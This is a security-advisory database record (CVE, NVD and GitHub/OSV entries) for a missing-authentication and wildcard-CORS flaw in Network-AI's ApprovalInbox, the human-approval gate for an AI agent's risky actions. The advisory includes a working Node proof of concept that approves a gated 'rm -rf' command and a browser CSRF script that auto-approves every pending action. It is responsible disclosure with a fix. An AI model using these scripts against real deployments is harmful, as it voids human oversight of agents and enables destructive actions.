{"id":"CVE-2026-58482","revision":null,"records":[{"revision":"85ccff6fe54b415f9593cb86dfe59f77","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-58482","aliases":[],"title":"Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions","description":"Network-AI, a TypeScript/Node.js multi-agent orchestrator, has a shipped, exported, documented feature called `ApprovalInbox` (`lib/approval-inbox.ts`). It is the network surface of the human-in-the-loop Approval Gate, which `ApprovalGate` uses to require explicit human approval for high-risk operations. The HTTP server it exposes has no authentication of any kind and sets `Access-Control-Allow-Origin: *` on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`. As a result, in versions 5.0.0 through 5.12.1, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent. This issue is fixed in v5.12.2. `ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST /:id/approve` and `POST /:id/deny` require an `Authorization: Bearer <secret>` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.","state":0,"publishedAt":"2026-07-20T16:38:55.576+00:00","modifiedAt":"2026-07-20T17:33:23.241+00:00","affected":[{"ecosystem":"Vendor product","name":"Network-AI","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Jovancoding\",\n                    \"product\": \"Network-AI\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 5.0.0, < 5.12.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-mxjx-28vx-xjjj","https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58482","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-58482","identifiers":["CVE-2026-58482"]},"retained":false,"historicalAffected":[]},{"revision":"073a1c82a17e4936a77ab378e8090772","observedAt":"2026-10-25T14:19:16.843+00:00","statement":{"source":"nvd","id":"CVE-2026-58482","aliases":[],"title":"Network-AI, a TypeScript/Node.js multi-agent orchestrator, has a shipped, exported, documented feature called `ApprovalInbox` (`lib/approval-inbox.ts`). It is the network surface of the human-in-the-loop Approval Gate, which `ApprovalGate` …","description":"Network-AI, a TypeScript/Node.js multi-agent orchestrator, has a shipped, exported, documented feature called `ApprovalInbox` (`lib/approval-inbox.ts`). It is the network surface of the human-in-the-loop Approval Gate, which `ApprovalGate` uses to require explicit human approval for high-risk operations. The HTTP server it exposes has no authentication of any kind and sets `Access-Control-Allow-Origin: *` on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`. As a result, in versions 5.0.0 through 5.12.1, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent. This issue is fixed in v5.12.2. `ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST /:id/approve` and `POST /:id/deny` require an `Authorization: Bearer <secret>` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.","state":0,"publishedAt":"2026-07-20T17:18:15.997+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2","https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-mxjx-28vx-xjjj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58482","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-352","CWE-862"],"productCriteria":["cpe:2.3:a:network-ai:network-ai:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-20T17:18:15.997","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-58482","identifiers":["CVE-2026-58482"]},"retained":false,"historicalAffected":[]},{"revision":"14bf58f2a6f24b27827ec9b6c8d32d6d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-mxjx-28vx-xjjj","aliases":["CVE-2026-58482"],"title":"Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions ","description":"## Summary\n\n`network-ai`'s `ApprovalInbox` (`lib/approval-inbox.ts`) is a shipped, exported, documented feature — *\"a web-accessible approval queue with REST API … and SSE streaming\"* (SECURITY.md). It is the network surface of the **human-in-the-loop Approval Gate**, which `ApprovalGate` uses to require explicit human approval for *\"high-risk operations (writes, shell commands, budget spend)\"* (SECURITY.md). The HTTP server it exposes has **no authentication of any kind** and sets **`Access-Control-Allow-Origin: *`** on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`.\n\nAs a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, **or any website the operator visits in a browser (via the wildcard CORS)** — can **enumerate pending approvals and approve them**, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.\n\nThis is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary `ApprovalInbox` server never received that hardening.\n\n- **Affected:** `network-ai <= 5.11.0` (current latest), `lib/approval-inbox.ts` — `httpHandler()` / `routeRequest()` / `startServer()`. `ApprovalInbox` is public API (exported from `index.ts:1126`).\n- **CWE:** [CWE-862](https://cwe.mitre.org/data/definitions/862.html) (Missing Authorization) + [CWE-352](https://cwe.mitre.org/data/definitions/352.html) (Cross-Site Request Forgery, via wildcard CORS).\n- **CVSS v3.1 (proposed):**\n  - Drive-by CSRF against the default `127.0.0.1` deployment: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N` = **5.9 Medium**.\n  - Direct request when the operator binds a non-loopback address (or local/SSRF reach): `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` = **8.1 High**.\n\n## Details\n\n### No authentication on the request pipeline (`lib/approval-inbox.ts`)\n\n`httpHandler()` sets a wildcard CORS policy and routes every request straight to `routeRequest()` with **no auth check**:\n\n```js\n// lib/approval-inbox.ts:250-275\nhttpHandler() {\n  return (req, res) => {\n    ...\n    res.setHeader('Access-Control-Allow-Origin', '*');          // 256  <-- wildcard CORS\n    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');\n    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');\n    if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; }   // preflight OK for any origin\n    ...\n    this.routeRequest(req, res, subPath, url);                  // 273  <-- no token / secret / origin gate\n  };\n}\n```\n\n`routeRequest()` exposes list + approve/deny with no credential check (default `pathPrefix` = `/approvals`):\n\n```js\n// lib/approval-inbox.ts:369-405\nrouteRequest(req, res, subPath, url) {\n  if (subPath === '/' && req.method === 'GET') {                       // GET /approvals/  -> enumerate pending ids\n    this.sendJson(res, 200, this.list(status)); return;\n  }\n  ...\n  const approveMatch = subPath.match(/^\\/([a-f0-9]+)\\/approve$/);      // POST /approvals/:id/approve\n  if (approveMatch && req.method === 'POST') {\n    this.readBody(req).then((body) => {\n      const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous';  // defaults to 'anonymous'\n      const entry = this.approve(approveMatch[1], approvedBy, reason);  // resolves the gate -> action proceeds\n      ...\n    });\n  }\n}\n```\n\n`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:\n\n```js\n// lib/approval-inbox.ts:172-183 / 327-339\napprove(id, approvedBy, reason) {\n  ...\n  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  // promise -> {approved:true}\n}\n```\n\n`startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes):\n\n```js\n// lib/approval-inbox.ts:281-286\nstartServer(port, hostname = '127.0.0.1') {\n  const server = createServer(this.httpHandler());\n  server.listen(port, hostname);\n  return server;\n}\n```\n\nThere is **no option** to supply a secret/token (unlike `McpSseServer`/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded — an operator cannot configure their way out of it.\n\n### Why the wildcard CORS matters\n\nThe two routes needed for exploitation are reachable cross-origin:\n- `GET /approvals/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page **read** the response and learn the pending approval ids.\n- `POST /approvals/:id/approve` with `Content-Type: application/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: …POST…`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `'anonymous'`, so no special body is required.\n\nSo a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.\n\n## Proof of Concept\n\nSelf-contained against the **published `network-ai@5.11.0`** package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an **unauthenticated** client.\n\n```bash\nmkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i network-ai@5.11.0\nnode poc.mjs\n```\n`poc.mjs`:\n```js\nimport { ApprovalInbox } from \"network-ai\";\nimport http from \"node:http\";\n\nconst PORT = 7798;\nconst req = (method, path, body) => new Promise((resolve, reject) => {        // plain client — NO Authorization header\n  const data = body ? JSON.stringify(body) : undefined;\n  const r = http.request({ host: \"127.0.0.1\", port: PORT, method, path,\n    headers: data ? { \"Content-Type\": \"application/json\", \"Content-Length\": Buffer.byteLength(data) } : {} },\n    (res) => { let b = \"\"; res.on(\"data\", c => b += c); res.on(\"end\", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });\n  r.on(\"error\", reject); if (data) r.write(data); r.end();\n});\n\nconst inbox = new ApprovalInbox();\nconst gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action\ninbox.startServer(PORT, \"127.0.0.1\");                          // the documented \"web-accessible approval queue\"\nawait new Promise(r => setTimeout(r, 150));\n\nlet resolved = false;\nconst decisionP = gate({ action: \"shell_execute\", target: \"rm -rf /important/data\",\n  agentId: \"worker-1\", justification: \"cleanup\", riskLevel: \"high\" }).then(d => (resolved = true, d));\nconsole.log(\"Gated dangerous action pending human approval. resolved =\", resolved);\n\nconst list = await req(\"GET\", \"/approvals/?status=pending\");   // attacker enumerates pending approvals\nconst id = list.json[0].id;\nconst approve = await req(\"POST\", `/approvals/${id}/approve`, { approvedBy: \"attacker\" });  // and approves one\nconsole.log(\"[attacker] GET /approvals/  (no auth) ->\", list.status, \"ids:\", list.json.map(e => e.id));\nconsole.log(\"[attacker] POST /approvals/\" + id + \"/approve (no auth) ->\", approve.status, approve.json?.status);\nconst decision = await decisionP;\nconsole.log(\">>> gate decision delivered to agent:\", JSON.stringify(decision), \"| WIPED WITHOUT AUTH:\", decision.approved && resolved);\n```\nOutput:\n```\nGated dangerous action pending human approval. resolved = false\n[attacker] GET /approvals/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]\n[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved\n>>> gate decision delivered to agent: {\"approved\":true,\"approvedBy\":\"attacker\"} | WIPED WITHOUT AUTH: true\n```\n\nThe gated action (`shell_execute: rm -rf /important/data`, `riskLevel: high`) is approved by a client that sent **no `Authorization` header**, and the `ApprovalGate` promise resolves `{ approved: true }` — the agent proceeds.\n\nBrowser CSRF variant (no tooling, just a visited page):\n```html\n<script>\nfetch('http://127.0.0.1:PORT/approvals/?status=pending')      // ACAO:* -> readable\n  .then(r => r.json())\n  .then(list => list.forEach(e =>\n    fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {\n      method: 'POST', headers: { 'Content-Type': 'application/json' },\n      body: JSON.stringify({ approvedBy: 'attacker' })          // preflight passes via ACAO:*\n    })));\n</script>\n```\n\n## Impact\n\nThe Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend — SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker:\n- **Approve** any pending gated action → the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed).\n- **Read** pending requests (`GET /approvals`, `/stats`) → disclosure of queued action details (command strings, file paths, justifications).\n- **Deny** pending actions → suppress legitimate operations.\n\nThe attacker controls the *approval decision*, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox — which is the inbox's documented purpose (\"web-accessible approval queue\").\n\n## Alignment with the security policy & documentation (in scope; not intended/documented behavior)\n\nThis finding does not contradict any documented design choice — it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:\n\n- **Documented as a *security measure*, never as intentionally unauthenticated.** `SECURITY.md` lists the Approval Inbox under \"Security Measures in Network-AI\" — *\"`ApprovalInbox` provides a web-accessible approval queue with REST API (`/list`, `/approve/:id`, `/deny/:id`, `/stats`)\"* — and `README.md` / `ENTERPRISE.md` describe it the same way. **No** document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for *\"writes, shell commands, budget spend\"*) that anyone can bypass without credentials is a defect in that control, not its intended behavior.\n- **The project's own threat model treats this exact adversary as in scope.** `THREAT_MODEL.md` §3.1 designs against an *\"Unauthenticated Network Caller\"* that can reach a bound TCP port, with mitigations: *require a non-empty secret, default to `127.0.0.1`, warn on non-loopback bind.* It applies all of these to the MCP server — but it **never lists `ApprovalInbox` as a network boundary at all** (an omission, not a carve-out), and the inbox has **none** of those mitigations.\n- **Direct precedent — the maintainer already fixed this class.** The identical issue on the MCP server was accepted and patched: **GHSA-j3vx-cx2r-pvg8** (\"Unauthenticated Cross-Origin MCP Tool Invocation,\" fixed in v5.4.5 by requiring a secret and **restricting CORS to localhost origins**) and **GHSA-r78r-rwrf-rjwp** (fail-closed on empty secret, v5.7.2). The `ApprovalInbox` is a second network-reachable server with the same flaw; it simply never received that hardening.\n- **No carve-out covers it.** The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub \"by-design\" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 *inter-agent messaging*) are unrelated — the approval inbox is a **control plane**, not inter-agent transport.\n- **The operator cannot fix it within the library.** Unlike the MCP server (which now *accepts* a secret), `ApprovalInbox` exposes **no** auth option and **hardcodes** `Access-Control-Allow-Origin: *`. So \"the operator should add auth / restrict CORS\" is not available — there is no hook to do so. And \"it's opt-in / operator-exposed\" did not exempt the MCP server, which is equally optional and explicitly started.\n\n**Honest scope caveat (state it plainly in the report).** `ApprovalInbox.startServer()` is opt-in (not auto-started by a CLI bin) and defaults to `127.0.0.1`, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium–High — but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability.\n\n## Recommended fix\n\n1. **Require a bearer secret** on the inbox HTTP server, fail closed on empty secret, and verify it on `/approve`, `/deny`, and ideally the list/stats/SSE routes — mirroring the hardening already applied to `McpSseServer`/`McpHttpServer`.\n2. **Remove the hardcoded `Access-Control-Allow-Origin: *`**; default to no CORS (same-origin) or an explicit allowlist, and never reflect `*` on the mutating routes.\n3. Optionally add a CSRF token / require a non-simple custom header on `POST` to block browser-driven approval.\n\n## References\n- [CWE-862](https://cwe.mitre.org/data/definitions/862.html), [CWE-352](https://cwe.mitre.org/data/definitions/352.html)\n- Affected: `lib/approval-inbox.ts` (`httpHandler` l.256 CORS, `routeRequest` l.369-405 no-auth approve/deny, `startServer` l.281); exported at `index.ts:1126`.\n- Same class as prior **accepted** advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation — fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The `ApprovalInbox` server never received this hardening.\n- Documentation this finding is measured against: `SECURITY.md` (Approval Inbox listed under \"Security Measures\"; Approval Gate = human-in-the-loop for \"writes, shell commands, budget spend\"), `THREAT_MODEL.md` §3.1 (\"Unauthenticated Network Caller\" adversary + its mitigations), `README.md` / `ENTERPRISE.md` (\"web-accessible approval queue\"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.\n- Disclosure: GitHub private security advisory (Jovancoding/Network-AI → Security → \"Report a vulnerability\"), per SECURITY.md.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST /:id/approve` and `POST /:id/deny` require an `Authorization: Bearer <secret>` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.\n\nAll 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.","state":0,"publishedAt":"2026-06-19T21:42:32+00:00","modifiedAt":"2026-07-21T03:56:47.7736072+00:00","affected":[{"ecosystem":"npm","name":"network-ai","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0"},{"kind":"fixed","version":"5.12.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-mxjx-28vx-xjjj","https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","https://github.com/Jovancoding/Network-AI","https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"],"sourceUrl":"https://github.com/advisories/GHSA-mxjx-28vx-xjjj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mxjx-28vx-xjjj","identifiers":["GHSA-mxjx-28vx-xjjj","CVE-2026-58482"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T03:23:00.5555620+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T03:23:00.555562+00:00","lastSuccessAt":"2026-10-27T03:23:00.6986702+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:23:00.6986732+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-57af8b9cb8b3567e0ff1c465b55549984a63d39a842292251efe141cd38b38c5","complete":true,"records":414860,"lastAttemptAt":"2026-10-27T04:22:56.0335839+00:00","lastSuccessAt":"2026-10-27T03:22:59.8407535+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:22:59.8670088+00:00","snapshotPublishedAt":"2026-10-27T02:35:43+00:00","importing":true,"stagedRecords":88,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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